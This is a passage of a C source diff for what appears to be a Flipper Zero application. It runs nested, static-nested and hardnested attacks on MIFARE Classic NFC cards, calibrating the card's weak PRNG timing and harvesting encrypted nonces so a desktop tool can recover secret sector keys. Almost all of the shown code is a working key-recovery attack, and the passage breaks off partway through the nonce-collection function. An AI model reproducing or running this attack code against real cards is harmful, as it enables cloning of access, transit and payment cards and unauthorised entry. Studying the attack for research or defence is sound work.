+bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
+    uint8_t hi_nibble_value, low_nibble_value;
+
+    if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
+       hex_char_to_hex_nibble(low, &low_nibble_value)) {
+        *value = (hi_nibble_value << 4) | low_nibble_value;
+        return true;
+    } else {
+        return false;
+    }
+}
+
+void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
+    for(uint8_t sector = 0; sector < sector_count; sector++) {
+        for(uint8_t key_type = 0; key_type < 2; key_type++) {
+            for(uint8_t tries = 0; tries < tries_count; tries++) {
+                free(nonces->nonces[sector][key_type][tries]);
+            }
+        }
+    }
+}
+
+MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
+    UNUSED(ATQA1);
+    if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
+        if((SAK == 0x08 || SAK == 0x88)) {
+            return MfClassicType1k;
+        } else if(SAK == 0x09) {
+            return MfClassicTypeMini;
+        }
+    } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
+        //skylanders support
+        return MfClassicType1k;
+    } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
+        return MfClassicType4k;
+    }
+    return MfClassicType1k;
+}
+
+uint32_t mifare_nested_worker_predict_delay(
+    FuriHalNfcTxRxContext* tx_rx,
+    uint8_t blockNo,
+    uint8_t keyType,
+    uint64_t ui64Key,
+    uint32_t tries,
+    MifareNestedWorker* mifare_nested_worker) {
+    uint32_t cuid = 0;
+    Crypto1* crypto = malloc(sizeof(Crypto1));
+    uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
+
+    if(tries > 25) {
+        free(crypto);
+        return 2; // Too many tries, fallback to hardnested
+    }
+
+    // This part of attack is my attempt to implement it on Flipper.
+    // Check README.md for more info
+
+    // First, we find RPNG rounds per 1000 us
+    for(uint32_t rtr = 0; rtr < 25; rtr++) {
+        if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
+            free(crypto);
+            return 1;
+        }
+
+        nfc_activate();
+        if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
+
+        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
+
+        furi_delay_us(rtr * 1000);
+
+        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
+
+        // Searching for delay, where PRNG will be near 800
+        uint32_t nttmp = prng_successor(nt1, 100);
+
+        for(i = 101; i < 65565; i++) {
+            nttmp = prng_successor(nttmp, 1);
+            if(nttmp == nt2) break;
+        }
+
+        if(!rtr) {
+            zero_prng_value = i;
+        }
+
+        if(previous && i > previous && i != 65565) {
+            if(!prng_delay) {
+                prng_delay = i - previous;
+            } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
+                prng_delay += i - previous;
+                prng_delay /= 2;
+            }
+        }
+
+        previous = i;
+
+        FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
+
+        // Let's hope...
+        if(i > 810 && i < 840) {
+            free(crypto);
+            return rtr * 1000;
+        }
+    }
+
+    FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
+
+    // Next, we try to calculate time until PRNG near 800 with more perfect timing
+    // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
+
+    if(zero_prng_value == 65565) {
+        free(crypto);
+        // PRNG isn't pretictable
+        return 1;
+    }
+
+    uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
+
+    uint32_t limit = 7;
+
+    for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
+        for(uint32_t rtz = 0; rtz < 100; rtz++) {
+            if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
+                free(crypto);
+                return 1;
+            }
+
+            nfc_activate();
+            if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
+
+            uint32_t delay = rtr * 1000 + rtz * 10;
+
+            mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
+
+            furi_delay_us(delay);
+
+            mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
+
+            // Searching for delay, where PRNG will be near 800
+            uint32_t nttmp = prng_successor(nt1, 0);
+
+            for(i = 1; i < 65565; i++) {
+                nttmp = prng_successor(nttmp, 1);
+                if(nttmp == nt2) break;
+            }
+
+            if(!(i > previous - 50 && i < previous + 50) && rtz) {
+                repeat++;
+
+                if(repeat < 5) {
+                    FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
+
+                    continue;
+                }
+            }
+
+            if(i > 2000 && i < 65500) {
+                uint32_t catch_cycles = (65565 - i) / prng_delay;
+                if(catch_cycles > 2) {
+                    catch_cycles++;
+
+                    FURI_LOG_D(
+                        TAG,
+                        "Trying a more accurate value: skipping additional %lu us",
+                        catch_cycles * 1000);
+                    limit += catch_cycles + 2;
+                    rtr += catch_cycles;
+                }
+            }
+
+            FURI_LOG_D(
+                TAG,
+                "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
+                i,
+                delay,
+                (cycles_to_reset + limit) * 1000);
+
+            repeat = 0;
+            previous = i;
+
+            if(i > 810 && i < 840) {
+                free(crypto);
+                FURI_LOG_I(TAG, "Found delay: %lu us", delay);
+                return delay;
+            } else if(i > 840 && i < 40000) {
+                FURI_LOG_D(TAG, "Trying again: timing lost");
+                tries++;
+                free(crypto);
+                return mifare_nested_worker_predict_delay(
+                    tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
+            }
+        }
+    }
+
+    if(i > 1000 && i < 65000) {
+        FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
+        tries++;
+        free(crypto);
+        return mifare_nested_worker_predict_delay(
+            tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
+    }
+
+    free(crypto);
+
+    return 1;
+}
+
+SaveNoncesResult_t* mifare_nested_worker_write_nonces(
+    FuriHalNfcDevData* data,
+    Storage* storage,
+    NonceList_t* nonces,
+    uint8_t tries_count,
+    uint8_t free_tries_count,
+    uint8_t sector_count,
+    uint32_t delay,
+    uint32_t distance) {
+    FuriString* path = furi_string_alloc();
+    Stream* file_stream = file_stream_alloc(storage);
+    SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t));
+    result->saved = 0;
+    result->invalid = 0;
+    result->skipped = 0;
+
+    mifare_nested_worker_get_nonces_file_path(data, path);
+
+    file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
+
+    FuriString* header = furi_string_alloc_printf(
+        "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
+        NESTED_NONCE_FORMAT_VERSION,
+        NESTED_RECOVER_KEYS_GITHUB_LINK);
+    stream_write_string(file_stream, header);
+
+    for(uint8_t tries = 0; tries < tries_count; tries++) {
+        for(uint8_t sector = 0; sector < sector_count; sector++) {
+            for(uint8_t key_type = 0; key_type < 2; key_type++) {
+                if(nonces->nonces[sector][key_type][tries]->invalid) {
+                    if(tries == 0) {
+                        result->invalid++;
+                    }
+                } else if(nonces->nonces[sector][key_type][tries]->skipped) {
+                    if(tries == 0) {
+                        result->skipped++;
+                    }
+                } else if(nonces->nonces[sector][key_type][tries]->collected) {
+                    if(nonces->nonces[sector][key_type][tries]->hardnested) {
+                        FuriString* hardnested_path = furi_string_alloc();
+                        mifare_nested_worker_get_hardnested_file_path(
+                            data, hardnested_path, sector, key_type);
+
+                        FuriString* str = furi_string_alloc_printf(
+                            "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
+                            !key_type ? 'A' : 'B',
+                            nonces->cuid,
+                            furi_string_get_cstr(hardnested_path),
+                            sector);
+
+                        stream_write_string(file_stream, str);
+
+                        furi_string_free(hardnested_path);
+                        furi_string_free(str);
+                    } else {
+                        FuriString* str = furi_string_alloc_printf(
+                            "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
+
+                        for(uint8_t type = 0; type < 2; type++) {
+                            furi_string_cat_printf(
+                                str,
+                                " nt%u 0x%08lx ks%u 0x%08lx par%u ",
+                                type,
+                                nonces->nonces[sector][key_type][tries]->target_nt[type],
+                                type,
+                                nonces->nonces[sector][key_type][tries]->target_ks[type],
+                                type);
+
+                            uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
+                            for(uint8_t i = 0; i < 4; i++) {
+                                furi_string_cat_printf(str, "%u", par[i]);
+                            }
+                        }
+
+                        furi_string_cat_printf(str, " sec %u\n", sector);
+
+                        stream_write_string(file_stream, str);
+                        furi_string_free(str);
+                    }
+
+                    result->saved++;
+                }
+            }
+        }
+    }
+
+    if(delay) {
+        FuriString* str =
+            furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
+
+        stream_write_string(file_stream, str);
+        furi_string_free(str);
+    }
+
+    free_nonces(nonces, sector_count, free_tries_count);
+    file_stream_close(file_stream);
+    free(file_stream);
+
+    if(!result->saved) {
+        FURI_LOG_E(TAG, "No nonces collected, removing file...");
+        if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
+            FURI_LOG_E(TAG, "Failed to remove .nonces file");
+        }
+    }
+
+    furi_string_free(path);
+    furi_record_close(RECORD_STORAGE);
+
+    return result;
+}
+
+bool mifare_nested_worker_check_initial_keys(
+    NonceList_t* nonces,
+    MfClassicData* mf_data,
+    uint8_t tries_count,
+    uint8_t sector_count,
+    uint64_t* key,
+    uint32_t* key_block,
+    uint32_t* found_key_type) {
+    bool has_a_key, has_b_key;
+    FuriHalNfcTxRxContext tx_rx = {};
+
+    for(uint8_t sector = 0; sector < sector_count; sector++) {
+        for(uint8_t key_type = 0; key_type < 2; key_type++) {
+            for(uint8_t tries = 0; tries < tries_count; tries++) {
+                Nonces* info = malloc(sizeof(Nonces));
+                info->key_type = key_type;
+                info->block = mifare_nested_worker_get_block_by_sector(sector);
+                info->collected = false;
+                info->skipped = true;
+                info->from_start = false;
+
+                nonces->nonces[sector][key_type][tries] = info;
+            }
+        }
+    }
+
+    for(uint8_t sector = 0; sector < sector_count; sector++) {
+        MfClassicSectorTrailer* trailer =
+            mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
+        has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
+        has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
+
+        if(has_a_key) {
+            for(uint8_t tries = 0; tries < tries_count; tries++) {
+                Nonces* info = nonces->nonces[sector][0][tries];
+                info->collected = true;
+                info->skipped = true;
+                info->from_start = true;
+
+                nonces->nonces[sector][0][tries] = info;
+            }
+
+            if(*key_block == 0) {
+                uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
+                if(nested_check_key(
+                       &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
+                   NestedCheckKeyValid) {
+                    *key = key_check;
+                    *key_block = mifare_nested_worker_get_block_by_sector(sector);
+                    *found_key_type = 0;
+                }
+            }
+        }
+
+        if(has_b_key) {
+            for(uint8_t tries = 0; tries < tries_count; tries++) {
+                Nonces* info = nonces->nonces[sector][1][tries];
+                info->collected = true;
+                info->skipped = true;
+                info->from_start = true;
+
+                nonces->nonces[sector][1][tries] = info;
+            }
+
+            if(*key_block == 0) {
+                uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
+                if(nested_check_key(
+                       &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
+                   NestedCheckKeyValid) {
+                    *key = key_check;
+                    *key_block = mifare_nested_worker_get_block_by_sector(sector);
+                    *found_key_type = 1;
+                }
+            }
+        }
+    }
+
+    nonces->cuid = 0;
+    nonces->hardnested_states = 0;
+    nonces->sector_count = sector_count;
+    nonces->tries = tries_count;
+
+    return *key_block;
+}
+
+void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
+    while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
+        FuriHalNfcTxRxContext tx_rx = {};
+        NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
+        MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
+        FuriHalNfcDevData data = {};
+        MifareNestedNonceType type = MifareNestedNonceNoTag;
+        nested_get_data(&data);
+
+        if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
+            for(uint8_t sector = 0; sector < 40; sector++) {
+                if(FURI_BIT(mf_data->key_a_mask, sector) ||
+                   FURI_BIT(mf_data->key_b_mask, sector)) {
+                    type = nested_check_nonce_type(
+                        &tx_rx, mifare_nested_worker_get_block_by_sector(sector));
+                    break;
+                }
+            }
+
+            if(type == MifareNestedNonceNoTag) {
+                type = nested_check_nonce_type(&tx_rx, 0);
+            }
+        } else {
+            type = nested_check_nonce_type(&tx_rx, 0);
+        }
+
+        if(type == MifareNestedNonceStatic) {
+            mifare_nested_worker->context->collecting_type =
+                MifareNestedWorkerStateCollectingStatic;
+
+            mifare_nested_worker->callback(
+                MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
+
+            break;
+        } else if(type == MifareNestedNonceWeak) {
+            mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
+
+            mifare_nested_worker->callback(
+                MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
+
+            break;
+        } else if(type == MifareNestedNonceHard) {
+            mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
+
+            mifare_nested_worker->callback(
+                MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
+
+            break;
+        }
+
+        furi_delay_ms(250);
+    }
+
+    nfc_deactivate();
+}
+
+void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
+    NonceList_t nonces;
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
+    MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
+    FuriString* folder_path = furi_string_alloc();
+    FuriHalNfcDevData data = {};
+    nested_get_data(&data);
+    MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
+    uint64_t key = 0; // Found key for attack
+    uint32_t found_key_type = 0;
+    uint32_t key_block = 0;
+    uint32_t sector_count = 0;
+
+    FURI_LOG_I(TAG, "Running Static Nested attack");
+    FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
+    mifare_nested_worker_write_uid_string(&data, tag_info);
+    FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
+    furi_string_free(tag_info);
+
+    if(type == MfClassicType4k) {
+        sector_count = 40;
+        FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
+    } else if(type == MfClassicType1k) {
+        sector_count = 16;
+        FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
+    } else { // if(type == MfClassicTypeMini)
+        sector_count = 5;
+        FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
+    }
+
+    furi_string_set(folder_path, NESTED_FOLDER);
+    storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
+    furi_string_free(folder_path);
+
+    if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
+       !mifare_nested_worker_check_initial_keys(
+           &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
+        nfc_deactivate();
+
+        free(mf_data);
+        free_nonces(&nonces, sector_count, 1);
+
+        return;
+    }
+
+    FURI_LOG_I(
+        TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
+
+    while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
+        FuriHalNfcTxRxContext tx_rx = {};
+
+        for(uint8_t sector = 0; sector < sector_count; sector++) {
+            for(uint8_t key_type = 0; key_type < 2; key_type++) {
+                Nonces* info = nonces.nonces[sector][key_type][0];
+
+                if(info->collected) {
+                    FURI_LOG_I(
+                        TAG,
+                        "Skipping sector %u, block %u, key_type: %u as we already have a key",
+                        sector,
+                        mifare_nested_worker_get_block_by_sector(sector),
+                        key_type);
+
+                    info->skipped = true;
+
+                    nonces.nonces[sector][key_type][0] = info;
+
+                    mifare_nested_worker->context->nonces = &nonces;
+
+                    mifare_nested_worker->callback(
+                        MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+                    continue;
+                }
+
+                if(!nested_check_block(
+                       &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
+                    FURI_LOG_E(
+                        TAG,
+                        "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
+                        sector,
+                        mifare_nested_worker_get_block_by_sector(sector),
+                        key_type);
+
+                    info->invalid = true;
+
+                    nonces.nonces[sector][key_type][0] = info;
+
+                    mifare_nested_worker->context->nonces = &nonces;
+
+                    mifare_nested_worker->callback(
+                        MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+                    continue;
+                }
+
+                while(!info->collected) {
+                    if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
+                        break;
+                    }
+
+                    struct nonce_info_static result = nested_static_nonce_attack(
+                        &tx_rx,
+                        key_block,
+                        found_key_type,
+                        mifare_nested_worker_get_block_by_sector(sector),
+                        key_type,
+                        key);
+                    if(result.full) {
+                        FURI_LOG_I(
+                            TAG,
+                            "Accured nonces for sector %u, block %u, key_type: %u",
+                            sector,
+                            mifare_nested_worker_get_block_by_sector(sector),
+                            key_type);
+
+                        info = nonces.nonces[sector][key_type][0];
+                        info->collected = true;
+                        info->skipped = false;
+
+                        memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
+                        memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
+
+                        nonces.nonces[sector][key_type][0] = info;
+                        nonces.cuid = result.cuid;
+                        nonces.sector_count = sector_count;
+
+                        mifare_nested_worker->context->nonces = &nonces;
+
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+                        break;
+                    } else {
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
+                    }
+                }
+            }
+        }
+
+        break;
+    }
+
+    SaveNoncesResult_t* result =
+        mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
+
+    free(mf_data);
+
+    if(result->saved) {
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
+    } else {
+        mifare_nested_worker->context->save_state = result;
+
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
+    }
+
+    nfc_deactivate();
+}
+
+void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
+    NonceList_t nonces;
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
+    MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
+    FuriString* folder_path = furi_string_alloc();
+    FuriHalNfcDevData data = {};
+    nested_get_data(&data);
+    MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
+    uint64_t key = 0; // Found key for attack
+    uint32_t found_key_type = 0;
+    uint32_t key_block = 0;
+    uint32_t sector_count = 0;
+    uint32_t cuid = 0;
+    furi_hal_nfc_activate_nfca(200, &cuid);
+
+    FURI_LOG_I(TAG, "Running Hard Nested attack");
+    FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
+    mifare_nested_worker_write_uid_string(&data, tag_info);
+    FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
+    furi_string_free(tag_info);
+
+    if(type == MfClassicType4k) {
+        sector_count = 40;
+        FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
+    } else if(type == MfClassicType1k) {
+        sector_count = 16;
+        FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
+    } else { // if(type == MfClassicTypeMini)
+        sector_count = 5;
+        FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
+    }
+
+    furi_string_set(folder_path, NESTED_FOLDER);
+    storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
+    mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
+    storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
+    furi_string_free(folder_path);
+
+    if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
+       !mifare_nested_worker_check_initial_keys(
+           &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
+        nfc_deactivate();
+
+        free(mf_data);
+        free_nonces(&nonces, sector_count, 1);
+
+        return;
+    }
+
+    FURI_LOG_I(
+        TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
+
+    FuriHalNfcTxRxContext tx_rx = {};
+    nonces.tries = 1;
+    nonces.hardnested_states = 0;
+    nonces.sector_count = sector_count;
+
+    mifare_nested_worker->context->nonces = &nonces;
+
+    mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+    mifare_nested_worker->callback(
+        MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
+
+    for(uint8_t sector = 0; sector < sector_count &&
+                            mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
+        sector++) {
+        for(uint8_t key_type = 0;
+            key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
+            key_type++) {
+            Nonces* info = nonces.nonces[sector][key_type][0];
+            if(info->collected) {
+                FURI_LOG_I(
+                    TAG,
+                    "Skipping sector %u, block %u, key_type: %u as we already have a key",
+                    sector,
+                    mifare_nested_worker_get_block_by_sector(sector),
+                    key_type);
+
+                info->skipped = true;
+
+                nonces.nonces[sector][key_type][0] = info;
+                mifare_nested_worker->context->nonces = &nonces;
+
+                mifare_nested_worker->callback(
+                    MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+                continue;
+            }
+
+            if(!nested_check_block(
+                   &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
+                FURI_LOG_E(
+                    TAG,
+                    "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
+                    sector,
+                    mifare_nested_worker_get_block_by_sector(sector),
+                    key_type);
+
+                info->invalid = true;
+
+                nonces.nonces[sector][key_type][0] = info;
+                mifare_nested_worker->context->nonces = &nonces;
+
+                mifare_nested_worker->callback(
+                    MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+                continue;
+            }
+
+            while(!info->collected &&
+                  mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
+                Stream* file_stream = file_stream_alloc(storage);
+                FuriString* hardnested_file = furi_string_alloc();
+                mifare_nested_worker_get_hardnested_file_path(
+                    &data, hardnested_file, sector, key_type);
+
+                file_stream_open(
+                    file_stream,
+                    furi_string_get_cstr(hardnested_file),
+                    FSAM_READ_WRITE,
+                    FSOM_CREATE_ALWAYS);
+
+                FuriString* header = furi_string_alloc_printf(
+                    "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
+                    NESTED_NONCE_FORMAT_VERSION,
+                    NESTED_RECOVER_KEYS_GITHUB_LINK,
+                    !key_type ? 'A' : 'B',
+                    cuid,
+                    sector);
+
+                stream_write_string(file_stream, header);
+                furi_string_free(header);
+
+                uint32_t first_byte_sum = 0;
+                uint32_t* found = malloc(sizeof(uint32_t) * 256);
+                for(uint32_t i = 0; i < 256; i++) {
+                    found[i] = 0;
+                }
+
+                while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
+                    struct nonce_info_hard result = nested_hard_nonce_attack(
+                        &tx_rx,
+                        key_block,
+                        found_key_type,
+                        mifare_nested_worker_get_block_by_sector(sector),
+                        key_type,
+                        key,
+                        found,
+                        &first_byte_sum,
+                        file_stream);
+
+                    if(result.static_encrypted) {
+                        file_stream_close(file_stream);
+
+                        storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
+
+                        furi_string_free(hardnested_file);
+                        free(found);
+                        free(mf_data);
+                        nfc_deactivate();
+
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventStaticEncryptedNonce,
+                            mifare_nested_worker->context);
+
+                        return;
+                    }
+
+                    if(result.full) {
+                        uint32_t states = 0;
+                        for(uint32_t i = 0; i < 256; i++) {
+                            states += found[i];
+                        }
+
+                        nonces.hardnested_states = states;
+
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventHardnestedStatesFound,
+                            mifare_nested_worker->context);
+
+                        FURI_LOG_D(TAG, "Found states: %lu", states);
+
+                        if(states == 256) {
+                            FURI_LOG_D(
+                                TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
+
+                            bool valid = false;
+                            for(uint8_t i = 0; i < sizeof(sums); i++) {
+                                if(sums[i] == first_byte_sum) {
+                                    valid = true;
+                                    break;
+                                }
+                            }
+
+                            if(!valid) {
+                                FURI_LOG_E(TAG, "Invalid first_byte_sum!");
+                                break;
+                            }
+
+                            info->collected = true;
+                            info->hardnested = true;
+                            info->skipped = false;
+
+                            nonces.cuid = result.cuid;
+
+                            nonces.nonces[sector][key_type][0] = info;
+
+                            mifare_nested_worker->context->nonces = &nonces;
+
+                            mifare_nested_worker->callback(
+                                MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+                            break;
+                        }
+                    } else {
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
+                    }
+                }
+
+                free(found);
+                furi_string_free(hardnested_file);
+                file_stream_close(file_stream);
+            }
+        }
+    }
+
+    SaveNoncesResult_t* result =
+        mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
+
+    free(mf_data);
+
+    if(result->saved) {
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
+    } else {
+        mifare_nested_worker->context->save_state = result;
+
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
+    }
+
+    nfc_deactivate();
+}
+
+void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
+    NonceList_t nonces;
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
+    MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
+    FuriString* folder_path = furi_string_alloc();
+    FuriHalNfcDevData data = {};
+    nested_get_data(&data);
+    MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
+    uint64_t key = 0; // Found key for attack
+    uint32_t found_key_type = 0;
+    uint32_t key_block = 0;
+    uint32_t sector_count = 0;
+    uint32_t delay = 0;
+    uint32_t distance = 0;
+    uint32_t tries_count = 1;
+
+    FURI_LOG_I(TAG, "Running Nested attack");
+    FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
+    mifare_nested_worker_write_uid_string(&data, tag_info);
+    FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
+    furi_string_free(tag_info);
+
+    if(type == MfClassicType4k) {
+        sector_count = 40;
+        FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
+    } else if(type == MfClassicType1k) {
+        sector_count = 16;
+        FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
+    } else { // if(type == MfClassicTypeMini)
+        sector_count = 5;
+        FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
+    }
+
+    furi_string_set(folder_path, NESTED_FOLDER);
+    storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
+    furi_string_free(folder_path);
+
+    if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
+       !mifare_nested_worker_check_initial_keys(
+           &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
+        nfc_deactivate();
+
+        free(mf_data);
+        free_nonces(&nonces, sector_count, 3);
+
+        return;
+    }
+
+    FURI_LOG_I(
+        TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
+
+    while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
+        FuriHalNfcTxRxContext tx_rx = {};
+        uint32_t first_distance = 0;
+        uint32_t second_distance = 0;
+
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
+
+        distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
+
+        if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
+            first_distance =
+                nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
+        }
+
+        if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
+            second_distance =
+                nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
+        }
+
+        if(first_distance == 0 && second_distance == 0) {
+            nfc_deactivate();
+
+            free(mf_data);
+            free_nonces(&nonces, sector_count, 3);
+
+            mifare_nested_worker_change_state(
+                mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
+
+            mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
+            return;
+        }
+
+        if(first_distance < second_distance - 100 && second_distance > 100) {
+            FURI_LOG_E(
+                TAG,
+                "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
+                first_distance,
+                second_distance);
+
+            struct distance_info info =
